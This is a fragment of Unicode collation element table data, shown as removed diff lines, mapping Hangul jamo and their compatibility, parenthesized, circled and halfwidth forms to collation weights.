-3262  ; [.3A61.0020.0006] # CIRCLED HANGUL TIKEUT
-FFA7  ; [.3A61.0020.0012] # HALFWIDTH HANGUL LETTER TIKEUT
-3210  ; [*0310.0020.0004][.3A61.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL TIKEUT A
-3270  ; [.3A61.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL TIKEUT A
-1104  ; [.3A62.0020.0002] # HANGUL CHOSEONG SSANGTIKEUT
-3138  ; [.3A62.0020.0004] # HANGUL LETTER SSANGTIKEUT
-FFA8  ; [.3A62.0020.0012] # HALFWIDTH HANGUL LETTER SSANGTIKEUT
-1105  ; [.3A63.0020.0002] # HANGUL CHOSEONG RIEUL
-3139  ; [.3A63.0020.0004] # HANGUL LETTER RIEUL
-3203  ; [*0310.0020.0004][.3A63.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL RIEUL
-3263  ; [.3A63.0020.0006] # CIRCLED HANGUL RIEUL
-FFA9  ; [.3A63.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL
-3211  ; [*0310.0020.0004][.3A63.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL RIEUL A
-3271  ; [.3A63.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL RIEUL A
-1106  ; [.3A64.0020.0002] # HANGUL CHOSEONG MIEUM
-3141  ; [.3A64.0020.0004] # HANGUL LETTER MIEUM
-3204  ; [*0310.0020.0004][.3A64.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL MIEUM
-3264  ; [.3A64.0020.0006] # CIRCLED HANGUL MIEUM
-FFB1  ; [.3A64.0020.0012] # HALFWIDTH HANGUL LETTER MIEUM
-3212  ; [*0310.0020.0004][.3A64.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL MIEUM A
-3272  ; [.3A64.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL MIEUM A
-1107  ; [.3A65.0020.0002] # HANGUL CHOSEONG PIEUP
-3142  ; [.3A65.0020.0004] # HANGUL LETTER PIEUP
-3205  ; [*0310.0020.0004][.3A65.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PIEUP
-3265  ; [.3A65.0020.0006] # CIRCLED HANGUL PIEUP
-FFB2  ; [.3A65.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP
-3213  ; [*0310.0020.0004][.3A65.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PIEUP A
-3273  ; [.3A65.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL PIEUP A
-1108  ; [.3A66.0020.0002] # HANGUL CHOSEONG SSANGPIEUP
-3143  ; [.3A66.0020.0004] # HANGUL LETTER SSANGPIEUP
-FFB3  ; [.3A66.0020.0012] # HALFWIDTH HANGUL LETTER SSANGPIEUP
-1109  ; [.3A67.0020.0002] # HANGUL CHOSEONG SIOS
-3145  ; [.3A67.0020.0004] # HANGUL LETTER SIOS
-3206  ; [*0310.0020.0004][.3A67.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL SIOS
-3266  ; [.3A67.0020.0006] # CIRCLED HANGUL SIOS
-FFB5  ; [.3A67.0020.0012] # HALFWIDTH HANGUL LETTER SIOS
-3214  ; [*0310.0020.0004][.3A67.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL SIOS A
-3274  ; [.3A67.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL SIOS A
-110A  ; [.3A68.0020.0002] # HANGUL CHOSEONG SSANGSIOS
-3146  ; [.3A68.0020.0004] # HANGUL LETTER SSANGSIOS
-FFB6  ; [.3A68.0020.0012] # HALFWIDTH HANGUL LETTER SSANGSIOS
-110B  ; [.3A69.0020.0002] # HANGUL CHOSEONG IEUNG
-3147  ; [.3A69.0020.0004] # HANGUL LETTER IEUNG
-3207  ; [*0310.0020.0004][.3A69.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL IEUNG
-3267  ; [.3A69.0020.0006] # CIRCLED HANGUL IEUNG
-FFB7  ; [.3A69.0020.0012] # HALFWIDTH HANGUL LETTER IEUNG
-3215  ; [*0310.0020.0004][.3A69.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL IEUNG A
-3275  ; [.3A69.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL IEUNG A
-321D  ; [*0310.0020.0004][.3A69.0020.0004][.3AE4.0020.0004][.3A6A.0020.0004][.3AE0.0020.0004][.3B3D.0020.0004][*0311.0020.0004] # PARENTHESIZED KOREAN CHARACTER OJEON
-321E  ; [*0310.0020.0004][.3A69.0020.0004][.3AE4.0020.0004][.3A70.0020.0004][.3AE9.0020.0004][*0311.0020.0004] # PARENTHESIZED KOREAN CHARACTER O HU
-327E  ; [.3A69.0020.0006][.3AE9.0020.0006] # CIRCLED HANGUL IEUNG U
-110C  ; [.3A6A.0020.0002] # HANGUL CHOSEONG CIEUC
-3148  ; [.3A6A.0020.0004] # HANGUL LETTER CIEUC
-3208  ; [*0310.0020.0004][.3A6A.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CIEUC
-3268  ; [.3A6A.0020.0006] # CIRCLED HANGUL CIEUC
-FFB8  ; [.3A6A.0020.0012] # HALFWIDTH HANGUL LETTER CIEUC
-3216  ; [*0310.0020.0004][.3A6A.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CIEUC A
-3276  ; [.3A6A.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL CIEUC A
-321C  ; [*0310.0020.0004][.3A6A.0020.0004][.3AE9.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CIEUC U
-327D  ; [.3A6A.0020.0006][.3AE9.0020.0006][.3A69.0020.0006][.3AEF.0020.0006] # CIRCLED KOREAN CHARACTER JUEUI
-110D  ; [.3A6B.0020.0002] # HANGUL CHOSEONG SSANGCIEUC
-3149  ; [.3A6B.0020.0004] # HANGUL LETTER SSANGCIEUC
-FFB9  ; [.3A6B.0020.0012] # HALFWIDTH HANGUL LETTER SSANGCIEUC
-110E  ; [.3A6C.0020.0002] # HANGUL CHOSEONG CHIEUCH
-314A  ; [.3A6C.0020.0004] # HANGUL LETTER CHIEUCH
-3209  ; [*0310.0020.0004][.3A6C.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CHIEUCH
-3269  ; [.3A6C.0020.0006] # CIRCLED HANGUL CHIEUCH
-FFBA  ; [.3A6C.0020.0012] # HALFWIDTH HANGUL LETTER CHIEUCH
-3217  ; [*0310.0020.0004][.3A6C.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CHIEUCH A
-3277  ; [.3A6C.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL CHIEUCH A
-327C  ; [.3A6C.0020.0006][.3ADC.0020.0006][.3B49.0020.0006][.3A5E.0020.0006][.3AE4.0020.0006] # CIRCLED KOREAN CHARACTER CHAMKO
-110F  ; [.3A6D.0020.0002] # HANGUL CHOSEONG KHIEUKH
-314B  ; [.3A6D.0020.0004] # HANGUL LETTER KHIEUKH
-320A  ; [*0310.0020.0004][.3A6D.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KHIEUKH
-326A  ; [.3A6D.0020.0006] # CIRCLED HANGUL KHIEUKH
-FFBB  ; [.3A6D.0020.0012] # HALFWIDTH HANGUL LETTER KHIEUKH
-3218  ; [*0310.0020.0004][.3A6D.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KHIEUKH A
-3278  ; [.3A6D.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL KHIEUKH A
-1110  ; [.3A6E.0020.0002] # HANGUL CHOSEONG THIEUTH
-314C  ; [.3A6E.0020.0004] # HANGUL LETTER THIEUTH
-320B  ; [*0310.0020.0004][.3A6E.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL THIEUTH
-326B  ; [.3A6E.0020.0006] # CIRCLED HANGUL THIEUTH
-FFBC  ; [.3A6E.0020.0012] # HALFWIDTH HANGUL LETTER THIEUTH
-3219  ; [*0310.0020.0004][.3A6E.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL THIEUTH A
-3279  ; [.3A6E.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL THIEUTH A
-1111  ; [.3A6F.0020.0002] # HANGUL CHOSEONG PHIEUPH
-314D  ; [.3A6F.0020.0004] # HANGUL LETTER PHIEUPH
-320C  ; [*0310.0020.0004][.3A6F.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PHIEUPH
-326C  ; [.3A6F.0020.0006] # CIRCLED HANGUL PHIEUPH
-FFBD  ; [.3A6F.0020.0012] # HALFWIDTH HANGUL LETTER PHIEUPH
-321A  ; [*0310.0020.0004][.3A6F.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PHIEUPH A
-327A  ; [.3A6F.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL PHIEUPH A
-1112  ; [.3A70.0020.0002] # HANGUL CHOSEONG HIEUH
-314E  ; [.3A70.0020.0004] # HANGUL LETTER HIEUH
-320D  ; [*0310.0020.0004][.3A70.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL HIEUH
-326D  ; [.3A70.0020.0006] # CIRCLED HANGUL HIEUH
-FFBE  ; [.3A70.0020.0012] # HALFWIDTH HANGUL LETTER HIEUH
-321B  ; [*0310.0020.0004][.3A70.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL HIEUH A
-327B  ; [.3A70.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL HIEUH A
-1113  ; [.3A71.0020.0002] # HANGUL CHOSEONG NIEUN-KIYEOK
-1114  ; [.3A72.0020.0002] # HANGUL CHOSEONG SSANGNIEUN
-3165  ; [.3A72.0020.0004] # HANGUL LETTER SSANGNIEUN
-1115  ; [.3A73.0020.0002] # HANGUL CHOSEONG NIEUN-TIKEUT
-3166  ; [.3A73.0020.0004] # HANGUL LETTER NIEUN-TIKEUT
-1116  ; [.3A74.0020.0002] # HANGUL CHOSEONG NIEUN-PIEUP
-1117  ; [.3A75.0020.0002] # HANGUL CHOSEONG TIKEUT-KIYEOK
-1118  ; [.3A76.0020.0002] # HANGUL CHOSEONG RIEUL-NIEUN
-1119  ; [.3A77.0020.0002] # HANGUL CHOSEONG SSANGRIEUL
-111A  ; [.3A78.0020.0002] # HANGUL CHOSEONG RIEUL-HIEUH
-3140  ; [.3A78.0020.0004] # HANGUL LETTER RIEUL-HIEUH
-FFB0  ; [.3A78.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-HIEUH
-111B  ; [.3A79.0020.0002] # HANGUL CHOSEONG KAPYEOUNRIEUL
-111C  ; [.3A7A.0020.0002] # HANGUL CHOSEONG MIEUM-PIEUP
-316E  ; [.3A7A.0020.0004] # HANGUL LETTER MIEUM-PIEUP
-111D  ; [.3A7B.0020.0002] # HANGUL CHOSEONG KAPYEOUNMIEUM
-3171  ; [.3A7B.0020.0004] # HANGUL LETTER KAPYEOUNMIEUM
-111E  ; [.3A7C.0020.0002] # HANGUL CHOSEONG PIEUP-KIYEOK
-3172  ; [.3A7C.0020.0004] # HANGUL LETTER PIEUP-KIYEOK
-111F  ; [.3A7D.0020.0002] # HANGUL CHOSEONG PIEUP-NIEUN
-1120  ; [.3A7E.0020.0002] # HANGUL CHOSEONG PIEUP-TIKEUT
-3173  ; [.3A7E.0020.0004] # HANGUL LETTER PIEUP-TIKEUT
-1121  ; [.3A7F.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS
-3144  ; [.3A7F.0020.0004] # HANGUL LETTER PIEUP-SIOS
-FFB4  ; [.3A7F.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP-SIOS
-1122  ; [.3A80.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-KIYEOK
-3174  ; [.3A80.0020.0004] # HANGUL LETTER PIEUP-SIOS-KIYEOK
-1123  ; [.3A81.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-TIKEUT
-3175  ; [.3A81.0020.0004] # HANGUL LETTER PIEUP-SIOS-TIKEUT
-1124  ; [.3A82.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-PIEUP
-1125  ; [.3A83.0020.0002] # HANGUL CHOSEONG PIEUP-SSANGSIOS
-1126  ; [.3A84.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-CIEUC
-1127  ; [.3A85.0020.0002] # HANGUL CHOSEONG PIEUP-CIEUC
-3176  ; [.3A85.0020.0004] # HANGUL LETTER PIEUP-CIEUC
-1128  ; [.3A86.0020.0002] # HANGUL CHOSEONG PIEUP-CHIEUCH
-1129  ; [.3A87.0020.0002] # HANGUL CHOSEONG PIEUP-THIEUTH
-3177  ; [.3A87.0020.0004] # HANGUL LETTER PIEUP-THIEUTH
-112A  ; [.3A88.0020.0002] # HANGUL CHOSEONG PIEUP-PHIEUPH
-112B  ; [.3A89.0020.0002] # HANGUL CHOSEONG KAPYEOUNPIEUP
-3178  ; [.3A89.0020.0004] # HANGUL LETTER KAPYEOUNPIEUP
-112C  ; [.3A8A.0020.0002] # HANGUL CHOSEONG KAPYEOUNSSANGPIEUP
-3179  ; [.3A8A.0020.0004] # HANGUL LETTER KAPYEOUNSSANGPIEUP
-112D  ; [.3A8B.0020.0002] # HANGUL CHOSEONG SIOS-KIYEOK
-317A  ; [.3A8B.0020.0004] # HANGUL LETTER SIOS-KIYEOK
-112E  ; [.3A8C.0020.0002] # HANGUL CHOSEONG SIOS-NIEUN
-317B  ; [.3A8C.0020.0004] # HANGUL LETTER SIOS-NIEUN
-112F  ; [.3A8D.0020.0002] # HANGUL CHOSEONG SIOS-TIKEUT
-317C  ; [.3A8D.0020.0004] # HANGUL LETTER SIOS-TIKEUT
-1130  ; [.3A8E.0020.0002] # HANGUL CHOSEONG SIOS-RIEUL
-1131  ; [.3A8F.0020.0002] # HANGUL CHOSEONG SIOS-MIEUM
-1132  ; [.3A90.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP
-317D  ; [.3A90.0020.0004] # HANGUL LETTER SIOS-PIEUP
-1133  ; [.3A91.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP-KIYEOK
-1134  ; [.3A92.0020.0002] # HANGUL CHOSEONG SIOS-SSANGSIOS
-1135  ; [.3A93.0020.0002] # HANGUL CHOSEONG SIOS-IEUNG
-1136  ; [.3A94.0020.0002] # HANGUL CHOSEONG SIOS-CIEUC
-317E  ; [.3A94.0020.0004] # HANGUL LETTER SIOS-CIEUC
-1137  ; [.3A95.0020.0002] # HANGUL CHOSEONG SIOS-CHIEUCH
-1138  ; [.3A96.0020.0002] # HANGUL CHOSEONG SIOS-KHIEUKH
-1139  ; [.3A97.0020.0002] # HANGUL CHOSEONG SIOS-THIEUTH
-113A  ; [.3A98.0020.0002] # HANGUL CHOSEONG SIOS-PHIEUPH
-113B  ; [.3A99.0020.0002] # HANGUL CHOSEONG SIOS-HIEUH
-113C  ; [.3A9A.0020.0002] # HANGUL CHOSEONG CHITUEUMSIOS
-113D  ; [.3A9B.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGSIOS
-113E  ; [.3A9C.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSIOS
-113F  ; [.3A9D.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGSIOS
-1140  ; [.3A9E.0020.0002] # HANGUL CHOSEONG PANSIOS
-317F  ; [.3A9E.0020.0004] # HANGUL LETTER PANSIOS
-1141  ; [.3A9F.0020.0002] # HANGUL CHOSEONG IEUNG-KIYEOK
-1142  ; [.3AA0.0020.0002] # HANGUL CHOSEONG IEUNG-TIKEUT
-1143  ; [.3AA1.0020.0002] # HANGUL CHOSEONG IEUNG-MIEUM
-1144  ; [.3AA2.0020.0002] # HANGUL CHOSEONG IEUNG-PIEUP
-1145  ; [.3AA3.0020.0002] # HANGUL CHOSEONG IEUNG-SIOS
-1146  ; [.3AA4.0020.0002] # HANGUL CHOSEONG IEUNG-PANSIOS
-1147  ; [.3AA5.0020.0002] # HANGUL CHOSEONG SSANGIEUNG
-3180  ; [.3AA5.0020.0004] # HANGUL LETTER SSANGIEUNG
-1148  ; [.3AA6.0020.0002] # HANGUL CHOSEONG IEUNG-CIEUC
-1149  ; [.3AA7.0020.0002] # HANGUL CHOSEONG IEUNG-CHIEUCH
-114A  ; [.3AA8.0020.0002] # HANGUL CHOSEONG IEUNG-THIEUTH
-114B  ; [.3AA9.0020.0002] # HANGUL CHOSEONG IEUNG-PHIEUPH
-114C  ; [.3AAA.0020.0002] # HANGUL CHOSEONG YESIEUNG
-3181  ; [.3AAA.0020.0004] # HANGUL LETTER YESIEUNG
-114D  ; [.3AAB.0020.0002] # HANGUL CHOSEONG CIEUC-IEUNG
-114E  ; [.3AAC.0020.0002] # HANGUL CHOSEONG CHITUEUMCIEUC
-114F  ; [.3AAD.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGCIEUC
-1150  ; [.3AAE.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCIEUC
-1151  ; [.3AAF.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGCIEUC
-1152  ; [.3AB0.0020.0002] # HANGUL CHOSEONG CHIEUCH-KHIEUKH
-1153  ; [.3AB1.0020.0002] # HANGUL CHOSEONG CHIEUCH-HIEUH
-1154  ; [.3AB2.0020.0002] # HANGUL CHOSEONG CHITUEUMCHIEUCH
-1155  ; [.3AB3.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCHIEUCH
-1156  ; [.3AB4.0020.0002] # HANGUL CHOSEONG PHIEUPH-PIEUP
-1157  ; [.3AB5.0020.0002] # HANGUL CHOSEONG KAPYEOUNPHIEUPH
-3184  ; [.3AB5.0020.0004] # HANGUL LETTER KAPYEOUNPHIEUPH
-1158  ; [.3AB6.0020.0002] # HANGUL CHOSEONG SSANGHIEUH
-3185  ; [.3AB6.0020.0004] # HANGUL LETTER SSANGHIEUH
-1159  ; [.3AB7.0020.0002] # HANGUL CHOSEONG YEORINHIEUH
-3186  ; [.3AB7.0020.0004] # HANGUL LETTER YEORINHIEUH
-115A  ; [.3AB8.0020.0002] # HANGUL CHOSEONG KIYEOK-TIKEUT
-115B  ; [.3AB9.0020.0002] # HANGUL CHOSEONG NIEUN-SIOS
-115C  ; [.3ABA.0020.0002] # HANGUL CHOSEONG NIEUN-CIEUC
-115D  ; [.3ABB.0020.0002] # HANGUL CHOSEONG NIEUN-HIEUH
-115E  ; [.3ABC.0020.0002] # HANGUL CHOSEONG TIKEUT-RIEUL
-A960  ; [.3ABD.0020.0002] # HANGUL CHOSEONG TIKEUT-MIEUM
-A961  ; [.3ABE.0020.0002] # HANGUL CHOSEONG TIKEUT-PIEUP
-A962  ; [.3ABF.0020.0002] # HANGUL CHOSEONG TIKEUT-SIOS
-A963  ; [.3AC0.0020.0002] # HANGUL CHOSEONG TIKEUT-CIEUC
-A964  ; [.3AC1.0020.0002] # HANGUL CHOSEONG RIEUL-KIYEOK
-A965  ; [.3AC2.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGKIYEOK
-A966  ; [.3AC3.0020.0002] # HANGUL CHOSEONG RIEUL-TIKEUT
-A967  ; [.3AC4.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGTIKEUT
-A968  ; [.3AC5.0020.0002] # HANGUL CHOSEONG RIEUL-MIEUM
-A969  ; [.3AC6.0020.0002] # HANGUL CHOSEONG RIEUL-PIEUP
-A96A  ; [.3AC7.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGPIEUP
-A96B  ; [.3AC8.0020.0002] # HANGUL CHOSEONG RIEUL-KAPYEOUNPIEUP
-A96C  ; [.3AC9.0020.0002] # HANGUL CHOSEONG RIEUL-SIOS
-A96D  ; [.3ACA.0020.0002] # HANGUL CHOSEONG RIEUL-CIEUC
-A96E  ; [.3ACB.0020.0002] # HANGUL CHOSEONG RIEUL-KHIEUKH
-A96F  ; [.3ACC.0020.0002] # HANGUL CHOSEONG MIEUM-KIYEOK
-A970  ; [.3ACD.0020.0002] # HANGUL CHOSEONG MIEUM-TIKEUT
-A971  ; [.3ACE.0020.0002] # HANGUL CHOSEONG MIEUM-SIOS
-A972  ; [.3ACF.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-THIEUTH
-A973  ; [.3AD0.0020.0002] # HANGUL CHOSEONG PIEUP-KHIEUKH
-A974  ; [.3AD1.0020.0002] # HANGUL CHOSEONG PIEUP-HIEUH
-A975  ; [.3AD2.0020.0002] # HANGUL CHOSEONG SSANGSIOS-PIEUP
-A976  ; [.3AD3.0020.0002] # HANGUL CHOSEONG IEUNG-RIEUL
-A977  ; [.3AD4.0020.0002] # HANGUL CHOSEONG IEUNG-HIEUH
-A978  ; [.3AD5.0020.0002] # HANGUL CHOSEONG SSANGCIEUC-HIEUH
-A979  ; [.3AD6.0020.0002] # HANGUL CHOSEONG SSANGTHIEUTH
-A97A  ; [.3AD7.0020.0002] # HANGUL CHOSEONG PHIEUPH-HIEUH
-A97B  ; [.3AD8.0020.0002] # HANGUL CHOSEONG HIEUH-SIOS
-A97C  ; [.3AD9.0020.0002] # HANGUL CHOSEONG SSANGYEORINHIEUH
-115F  ; [.3ADA.0020.0002] # HANGUL CHOSEONG FILLER
-1160  ; [.3ADB.0020.0002] # HANGUL JUNGSEONG FILLER
-3164  ; [.3ADB.0020.0004] # HANGUL FILLER
-FFA0  ; [.3ADB.0020.0012] # HALFWIDTH HANGUL FILLER
-1161  ; [.3ADC.0020.0002] # HANGUL JUNGSEONG A
-314F  ; [.3ADC.0020.0004] # HANGUL LETTER A
-FFC2  ; [.3ADC.0020.0012] # HALFWIDTH HANGUL LETTER A
-1162  ; [.3ADD.0020.0002] # HANGUL JUNGSEONG AE
-3150  ; [.3ADD.0020.0004] # HANGUL LETTER AE
-FFC3  ; [.3ADD.0020.0012] # HALFWIDTH HANGUL LETTER AE
-1163  ; [.3ADE.0020.0002] # HANGUL JUNGSEONG YA
-3151  ; [.3ADE.0020.0004] # HANGUL LETTER YA
-FFC4  ; [.3ADE.0020.0012] # HALFWIDTH HANGUL LETTER YA
-1164  ; [.3ADF.0020.0002] # HANGUL JUNGSEONG YAE
-3152  ; [.3ADF.0020.0004] # HANGUL LETTER YAE
-FFC5  ; [.3ADF.0020.0012] # HALFWIDTH HANGUL LETTER YAE
-1165  ; [.3AE0.0020.0002] # HANGUL JUNGSEONG EO
-3153  ; [.3AE0.0020.0004] # HANGUL LETTER EO
-FFC6  ; [.3AE0.0020.0012] # HALFWIDTH HANGUL LETTER EO
-1166  ; [.3AE1.0020.0002] # HANGUL JUNGSEONG E
-3154  ; [.3AE1.0020.0004] # HANGUL LETTER E
-FFC7  ; [.3AE1.0020.0012] # HALFWIDTH HANGUL LETTER E
-1167  ; [.3AE2.0020.0002] # HANGUL JUNGSEONG YEO
-3155  ; [.3AE2.0020.0004] # HANGUL LETTER YEO
-FFCA  ; [.3AE2.0020.0012] # HALFWIDTH HANGUL LETTER YEO
-1168  ; [.3AE3.0020.0002] # HANGUL JUNGSEONG YE
-3156  ; [.3AE3.0020.0004] # HANGUL LETTER YE
-FFCB  ; [.3AE3.0020.0012] # HALFWIDTH HANGUL LETTER YE
-1169  ; [.3AE4.0020.0002] # HANGUL JUNGSEONG O
-3157  ; [.3AE4.0020.0004] # HANGUL LETTER O
-FFCC  ; [.3AE4.0020.0012] # HALFWIDTH HANGUL LETTER O
-116A  ; [.3AE5.0020.0002] # HANGUL JUNGSEONG WA
-3158  ; [.3AE5.0020.0004] # HANGUL LETTER WA
-FFCD  ; [.3AE5.0020.0012] # HALFWIDTH HANGUL LETTER WA
-116B  ; [.3AE6.0020.0002] # HANGUL JUNGSEONG WAE
-3159  ; [.3AE6.0020.0004] # HANGUL LETTER WAE
-FFCE  ; [.3AE6.0020.0012] # HALFWIDTH HANGUL LETTER WAE
-116C  ; [.3AE7.0020.0002] # HANGUL JUNGSEONG OE
-315A  ; [.3AE7.0020.0004] # HANGUL LETTER OE
-FFCF  ; [.3AE7.0020.0012] # HALFWIDTH HANGUL LETTER OE
-116D  ; [.3AE8.0020.0002] # HANGUL JUNGSEONG YO
-315B  ; [.3AE8.0020.0004] # HANGUL LETTER YO
-FFD2  ; [.3AE8.0020.0012] # HALFWIDTH HANGUL LETTER YO
-116E  ; [.3AE9.0020.0002] # HANGUL JUNGSEONG U
-315C  ; [.3AE9.0020.0004] # HANGUL LETTER U
-FFD3  ; [.3AE9.0020.0012] # HALFWIDTH HANGUL LETTER U
-116F  ; [.3AEA.0020.0002] # HANGUL JUNGSEONG WEO
-315D  ; [.3AEA.0020.0004] # HANGUL LETTER WEO
-FFD4  ; [.3AEA.0020.0012] # HALFWIDTH HANGUL LETTER WEO
-1170  ; [.3AEB.0020.0002] # HANGUL JUNGSEONG WE
-315E  ; [.3AEB.0020.0004] # HANGUL LETTER WE
-FFD5  ; [.3AEB.0020.0012] # HALFWIDTH HANGUL LETTER WE
-1171  ; [.3AEC.0020.0002] # HANGUL JUNGSEONG WI
-315F  ; [.3AEC.0020.0004] # HANGUL LETTER WI
-FFD6  ; [.3AEC.0020.0012] # HALFWIDTH HANGUL LETTER WI
-1172  ; [.3AED.0020.0002] # HANGUL JUNGSEONG YU
-3160  ; [.3AED.0020.0004] # HANGUL LETTER YU
-FFD7  ; [.3AED.0020.0012] # HALFWIDTH HANGUL LETTER YU
-1173  ; [.3AEE.0020.0002] # HANGUL JUNGSEONG EU
-3161  ; [.3AEE.0020.0004] # HANGUL LETTER EU
-FFDA  ; [.3AEE.0020.0012] # HALFWIDTH HANGUL LETTER EU
-1174  ; [.3AEF.0020.0002] # HANGUL JUNGSEONG YI
-3162  ; [.3AEF.0020.0004] # HANGUL LETTER YI
-FFDB  ; [.3AEF.0020.0012] # HALFWIDTH HANGUL LETTER YI
-1175  ; [.3AF0.0020.0002] # HANGUL JUNGSEONG I
-3163  ; [.3AF0.0020.0004] # HANGUL LETTER I
-FFDC  ; [.3AF0.0020.0012] # HALFWIDTH HANGUL LETTER I
-1176  ; [.3AF1.0020.0002] # HANGUL JUNGSEONG A-O
-1177  ; [.3AF2.0020.0002] # HANGUL JUNGSEONG A-U
-1178  ; [.3AF3.0020.0002] # HANGUL JUNGSEONG YA-O
-1179  ; [.3AF4.0020.0002] # HANGUL JUNGSEONG YA-YO
-117A  ; [.3AF5.0020.0002] # HANGUL JUNGSEONG EO-O
-117B  ; [.3AF6.0020.0002] # HANGUL JUNGSEONG EO-U
-117C  ; [.3AF7.0020.0002] # HANGUL JUNGSEONG EO-EU
-117D  ; [.3AF8.0020.0002] # HANGUL JUNGSEONG YEO-O
-117E  ; [.3AF9.0020.0002] # HANGUL JUNGSEONG YEO-U
-117F  ; [.3AFA.0020.0002] # HANGUL JUNGSEONG O-EO
-1180  ; [.3AFB.0020.0002] # HANGUL JUNGSEONG O-E
-1181  ; [.3AFC.0020.0002] # HANGUL JUNGSEONG O-YE
-1182  ; [.3AFD.0020.0002] # HANGUL JUNGSEONG O-O
-1183  ; [.3AFE.0020.0002] # HANGUL JUNGSEONG O-U
-1184  ; [.3AFF.0020.0002] # HANGUL JUNGSEONG YO-YA
-3187  ; [.3AFF.0020.0004] # HANGUL LETTER YO-YA
-1185  ; [.3B00.0020.0002] # HANGUL JUNGSEONG YO-YAE
-3188  ; [.3B00.0020.0004] # HANGUL LETTER YO-YAE
-1186  ; [.3B01.0020.0002] # HANGUL JUNGSEONG YO-YEO
-1187  ; [.3B02.0020.0002] # HANGUL JUNGSEONG YO-O
-1188  ; [.3B03.0020.0002] # HANGUL JUNGSEONG YO-I
-3189  ; [.3B03.0020.0004] # HANGUL LETTER YO-I
-1189  ; [.3B04.0020.0002] # HANGUL JUNGSEONG U-A
-118A  ; [.3B05.0020.0002] # HANGUL JUNGSEONG U-AE
-118B  ; [.3B06.0020.0002] # HANGUL JUNGSEONG U-EO-EU
-118C  ; [.3B07.0020.0002] # HANGUL JUNGSEONG U-YE
-118D  ; [.3B08.0020.0002] # HANGUL JUNGSEONG U-U
-118E  ; [.3B09.0020.0002] # HANGUL JUNGSEONG YU-A
-118F  ; [.3B0A.0020.0002] # HANGUL JUNGSEONG YU-EO
-1190  ; [.3B0B.0020.0002] # HANGUL JUNGSEONG YU-E
-1191  ; [.3B0C.0020.0002] # HANGUL JUNGSEONG YU-YEO
-318A  ; [.3B0C.0020.0004] # HANGUL LETTER YU-YEO
-1192  ; [.3B0D.0020.0002] # HANGUL JUNGSEONG YU-YE
-318B  ; [.3B0D.0020.0004] # HANGUL LETTER YU-YE
-1193  ; [.3B0E.0020.0002] # HANGUL JUNGSEONG YU-U
-1194  ; [.3B0F.0020.0002] # HANGUL JUNGSEONG YU-I
-318C  ; [.3B0F.0020.0004] # HANGUL LETTER YU-I
-1195  ; [.3B10.0020.0002] # HANGUL JUNGSEONG EU-U
-1196  ; [.3B11.0020.0002] # HANGUL JUNGSEONG EU-EU
-1197  ; [.3B12.0020.0002] # HANGUL JUNGSEONG YI-U
-1198  ; [.3B13.0020.0002] # HANGUL JUNGSEONG I-A
-1199  ; [.3B14.0020.0002] # HANGUL JUNGSEONG I-YA
-119A  ; [.3B15.0020.0002] # HANGUL JUNGSEONG I-O
-119B  ; [.3B16.0020.0002] # HANGUL JUNGSEONG I-U
-119C  ; [.3B17.0020.0002] # HANGUL JUNGSEONG I-EU
-119D  ; [.3B18.0020.0002] # HANGUL JUNGSEONG I-ARAEA
